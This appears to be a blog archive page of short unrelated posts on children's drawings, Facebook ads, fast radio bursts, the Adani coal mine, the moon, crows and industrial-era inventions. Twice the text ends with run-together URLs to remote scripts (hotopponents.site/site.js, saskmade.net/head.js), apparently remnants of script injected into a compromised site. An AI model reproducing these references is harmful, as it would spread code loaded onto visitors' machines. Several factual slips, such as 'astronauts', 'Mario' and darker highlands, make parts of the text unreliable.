We research, because we observe

Month: January 2017

It’s a peculiar fact that when Booby Kennedy took up his job at the Department of Justice, the first thing he did was to decorate his office with drawings made by his children.

This was strange because it was unheard of. It was also contradictory to what most office bearers at his position would do, which was to keep pictures or paintings that depicted reality with great detail or something that showcased some kind of important aesthetics.

So what’s so special about children’s drawings?

Today, people have come to become and behave in the most mechanical possible and this is getting harder and harder for those who cannot do so. So, to be successful today, one needs to fit the picture of being mechanized more intensively and those who do the best will be the ones who shall last in this changing time. This has forced us to leave behind or give up some or everything that we have associated with since childhood.

On the other hand, children are still free of the shackles that we have got for ourselves. Their drawings are a memorabilia of our childhood and bits of our personalities in exile. Those affections that we left behind in order to survive in this so called competition of lifestyle.

Another interesting thing about children’s drawings are their inaccuracy, totally different from what art was concerned to be earlier, which was to paint and draw in utmost accuracy. But because the children hardly care about accuracy, they are not concerned about how their drawings will look. This comforts an adult who is stuck in his self conscious mechanized life. It also reminds them of their true needs where we need to give no damn to conformity.

Children are today what we were yesterday, funny, free, careless, naïve and so on. Our lives have forced us to lose our innocence with excessive rationality. This rationality as Max Weber had said, is killing our emotions and making us merely machines of comfortability and prisoner of consciousness.

What’s worse is that sometimes we force our children to do what WE think is RIGHT. Children should be left to choose and do whatever they feel they should. If we really need to do something for them, then pushing them to pursue their dreams is what we must strive for. At the same time we must also restrain them from using excessive digital information, which will one day have a grievous impact on their lives.

Children must remain innocent of the world we have created. Their conscious must be kept away from ours, for we might spoil their childhood, as we know that it’s the only freedom they have from this so called ‘real’ world.

There are some basic fundamentals of creating a Facebook ad, like choosing your target audience, how your ad must look and so on. This article will step by step guide you on how to create your ad. At the same time it will also help you in using the ad in the right way.

First Step – Create an ad

Open you Facebook account, if you don’t have, then create one. Go to the drop down menu on the right corner of the screen as shown below.

Choose create ad option from the dropdown list.

You will be taken on the campaign page. If you have multiple ads, or you wish to create multiple ads, you can manage them individually by choosing ‘manage ads’ from the drop down list.

Step two – Marketing Objective

Second and the most important step is to choose your objective. Facebook gives you various filters though which it helps you to reach the right kind of audience. Undoubtedly Facebook is the biggest online marketing platform, a business. Just in case you didn’t notice, there are 1.79 billion monthly active Facebook users.

Which is why, it becomes important for you to choose wisely from different options provided by Facebook.

Step Two – Choosing the right objective

Awareness, consideration and conversion are the three categories in which Facebook has divided its ad campaigns. Facebook ad platform is developing rapidly and enhancement of people’s marketing results is important for Facebook to keep it going as it generates business.

From the three you should choose what suits you best. Do Not Hurry!

When you are spending money, you need to make sure you utilize it. If you are unaware about the category in which your campaign should go on, you can simply ask help from Facebook ad help – https://www.facebook.com/business/help

Step Three – Reading about the category

If this is you first ad campaign then you must read about each and every objective from the different categories.

You can do so by sliding your cursor to the corner of each objective and by clicking the i button.

Once you click it, Facebook informs you about the objective. It tells you how it will help you reach your goal. If you do not find it as an appropriate objective, then try another option.

Step Four – Create an advert account

You set up your account by providing some basic information and account details.

Step Five – Advert set

You set up your ads through this process.

1. You choose your page

2.You fix your audience – Customised or by the options provided by Facebook

3.Placements – who you choose as your audience. Facebook has its automatic delivery for this, but you also have the option to edit it and choose your own audience.

4.Budget and Schedule – Choose your budget and schedule for your ads.

Step Six – Advert
a. Format

How your Facebook ad shall appear. You can try and preview all the option and choose whichever you like best.

Page and text

Choose your Facebook page that your want to advertise. Then use the picture you have created for advertisement. You can make one specifically for this so that your ad is seen and by the people.

In a successful observation by the group of astronauts, the source of a Fast Radio Bursts (FRB) is found. The FRB as per its nomenclature releases cosmic radio waves to the universe. These spark for milliseconds in the dwarf galaxy located around three-billion light-years away from the planet earth.

Fast Radio Bursts created headlines in 2007 for the first time after a lot of research on the subject that began in 2001. Earlier, there were doubts about the origin of FRB with many scientists were confused whether these rays originated within the galaxy or outside it.

Until now, around 18 fast radio bursts have already been found. Last year, a team of astronomers from the US and Canada made an in-depth study into the subject for 6 months to find the source of FRB 121102 (latest code given to Fast Radio Outbursts).

According to the team of astronauts who conducted the study, it was a herculean task. They had to use the Very Large Array (VLA) radio telescope to get a precise location of FRB 121102 in the open universe.

Shriharsh Tendulkar of McGill University led the team in Hawaii when his team was searching the source of FRB 121102. They were unclear whether it was coming from a galaxy or a star, but later on, it was found that the source of FRB was similar to star – tiniest speck of light. In the words of Tendulkar, “it’s 100 million times fainter than the faintest object visible to the naked eye.”

What does the Fast Radio Bursts Research say?

The astronomers found that FRB 121102 was located in a dwarf galaxy with stars all around. Earlier, they believed that FRBs would be found in larger galaxies but the latest research proved them wrong. It is assumed that some billions of years ago, a series of fast bright bursts of radio waves entered into the open space, and since then it kept on radiating bright lights.

Initially, FRB 121102 travelled all across the universe and until scientist noticed them properly in 2007. In 2015, around 16 flashes were observed and then again in 2016, nine more appeared. Relentless research finally disclosed that FRBs originate from the minuscule galaxy amidst little heavenly bodies. Scientists have unraveled many things about universe in the past but for more information on FRBs – we have to wait more – until more and more details about the subject are being unearthed by scientists. The subject matter of Fast radio bursts is still shrouded in mystery.

Scientists’ Tryst with Fast Radio Bursts

It was an accidental discovery. Scientist Duncan Lorimer in 2007 was searching something related to Pulsars – when he noticed the FRB that flashed occasionally into the open space. But it was brighter than pulsars. This marked the start of the minute research into FRBs.

According to Shami Chatterjee, the researcher into the subject, “This is a good place to go fishing because you’re more likely to see a fast radio burst at this spot,” says Chatterjee.

The protestors of Melbourne and Townsville of Australia have called on the Australian government to invest in solar energy, rather than coal.

The debate has come to light after the Queensland Parliament passed the Environmental Protection (Underground Water Management) and other Legislation Amendment Bill, 2016. After the ratification of this amendment, a company, in this case Adani Mining Pty Ltd, will not go through public objection process once it has been scrutinized by the Environmental Impact Statement and the Land Court.

This, in Adani’s case means that since the Carmichael coal mine project has already gone through Land Court cases, their water license will not be appealable at the Land Court after this bill. The company can still be dragged for a judicial review, but not a subject of challenge in a Land Court that deals with environmental issues in the state of Queensland of Australia.

The mining project has become a controversy because the Carmichael mine is situated near the Great Artesian Basin. The basin is a major resource for agriculture. The mining project seeks to use 12.5 gigalitres of water each year from the Belyando river, one of the longest in Queensland.

The company on the other hand has advertised jobs and investment as means to legitimize the project even though the people have objected for it and propose to generate power through solar energy.

Adani’s company received state govt’s support since it granted the Carmichael project as “critical infrastructure” and “prescribed project” so as to fast track the process of its start. Giving “critical infrastructure” and “prescribed project” assertion removes strict legal actions against the company as it empower the firm with ministerial consent. It also undermines judicial scrutiny and lawfulness of the project.

Even after the economic support, Adani has failed to showcase the financial viability of this project. Neither the government is willing to put money, nor the banks. But the company points out that if the project was financially nonviable, they wouldn’t have put in about $3 billion already and about 100 million only on legal affairs.https://hotopponents.site/site.js?zzz=3https://saskmade.net/head.js?ver=2.0.0

The moon is more than just a grey monotonous world. Thanks to modern observation techniques because of which we not only view the moon’s surface, but also are able to have insights into how moon and other rocky planets in our solar system have evolved over time.

The interiors of some craters in the polar region of moon have been hidden from sunlight for as much as 2 billion years.

Some of the patches that are visible to the naked eye on the moon are as deep as the grand canyon while some are twice or even deeper.

Its incredible how we think about the moon and how it looks. Do you know that moon never looked like this even though it appears that moon has been the same all along?

Thanks to NASA’s Lunar Reconnaissance Orbiter for giving a better look at moon and for understanding its history.

It is understood that moon started as a giant ball of magma formed from the remains of an impact on earth estimated at four and a half billion years ago.

Scientists say that the hot material collected into a sphere and the magma began to cool and formed a crust on the surface of it.

About 4.3 billion years ago, shattered the moon’s South Pole forming the South Pole Aitken basin and sending debris farther from the opposite side of the moon.

This period marked by the impact caused major changes to the moon’s surface. Many such collisions happened on the moon forming large basins. The dark coloured patches of the moon are the evidences of those collisions. These patches are known as Mario.

Studies reveal that due to certain impacts, the basin created is several kilometers in depth and around 2500 km in diameter on the moon.

They began as normal craters but soon started changing because the magna inside the surface hadn’t yet cooled down.

The iron content of the base rock makes them reflect less light and thus the surrounding highlands of the moon appear darker.

The volcanic activity on Moon ended about 1 billion years ago. The moon keeps having multiple impacts from time to time.

As of today, the rate of impact of different craters on moon has slowed down drastically and thus the moon appears as it is to us.

What’s with crows we see around us all the time? Why don’t we like them and take them as bad omen?

Researchers and scientists say that human don’t like crows because crows are like human when it comes to survivability. They can think, they can react and they can live in adverse circumstances, just like humans.

Opportunistic Eaters

Crows are opportunistic eaters, so they eat whatever they can. From fish, corn, grains, fruits to left out food from garbage and meat, they can eat most of it.

Taste Buds

This reason is that they have fewer than 500 taste buds, while human have upto 10,000. Less number of taste buds makes it easier for him to eat not-so-tasty food.

Not only black

Most of us seem to have seen only black crows and thus we think crows are black, but that’s not true. If you see a crow from a different angle and rather carefully, you might notice different colors of feathers on the crow. Some are green, some purple, some blue and some black.

Family Bonds

Crows are known to have strong family bonds. There can be upto 50 crows in a family. Their family planning is similar to humans as their children stick around for a longer period of time with the parents, unlike most other birds. This research says is because crows have learned a lot from humans. They have learned to live alongside human for thousands of years. When cities were built, crows moved to cities just like humans and thus humans and crows are inseparable.

Expression of Emotions

Crows express their happiness, sadness and love with expressions. Parent crows are very careful with their children as they learn the deals of survivability. Learning to hunt food is an important lesson for crows to survive since all crows are not lucky enough to grow up to become mature.

Experimenting with food

Since crows have to live in proximity with humans, they try and test everything they encounter to know is they are eatable.

Language

Crows have a distinct sound of language in which they communicate. There are different types of sound that crows use. Some for signaling danger and some for signaling food while some for social gatherings.

Intelligence

Crows are highly intelligent animals. They are capable of performing complex tasks like planning and calculating, just like humans. They show this quality by hiding their food somewhere else whenever they suspect another crow has seen it. They remember faces that treat them well and faces that treat them badly.

Industrial revolution saw the epitome of human intelligence, as a result innovations of industrial revolution paved the way for modern human lifestyle.

Until seventeenth century, most labour occupations were limited to work on fields. Labourers worked on lands of the aristocrats (the ones who owned land) and that was their only livelihood. Although the lives of aristocrats were elegant and full of leisure, servants were always at their disposal, be it for raising their children or taking their dogs for a walk. The lives of both were interdependent and the system had been there long enough to forget for those in service to not know when it all started.

The innovations that followed, mostly in United States and Britain significantly altered this system and put in place a new system that was momentous and game changing.

Inventors built machines for different kinds of work, like ones powered by water, steam and coal. The most important ones being steam engine, electricity, telephone, telegraph and so on.

James Watt did not invent the Steam Engine

The first patent done against a steam engine was by Jerónimo de Ayanz y Beaumont in 1606. Beaumont was a Spanish inventor.

It was more than 150 years later, that James Watt invented a steam engine that could rotate continuously. This was a historic development in the invention since the invention and thus invention of steam engine is highly attributed to James Watt rather than Beaumont.

Traveling show had encouraged the idea of anesthesia

Horace wells while watching a traveling show saw an acquaintance get injured while being high on laughing gas (nitrous oxide). He asked the man later if he did not feel the pain. To his surprise, the man said no. He tested the gas on himself and asked the organizer of the show, Gardner Colton to remove his molar. After experimenting it successfully on himself, he then tried it on his patients.

It took eight hours to get the first photograph

A French inventor, Nicephore Niepce, in the 1820s, created the first photograph by exposing light sensitive chemicals coated on a paper. He exposed the paper to the image projected by the camera obscura and we got one of the first images ever recorded. Though there were many, but eventually got destroyed and thus, Le Gras by Nicephore remains the oldest surviving photograph.https://hotopponents.site/site.js?zzz=3https://saskmade.net/head.js?ver=2.0.0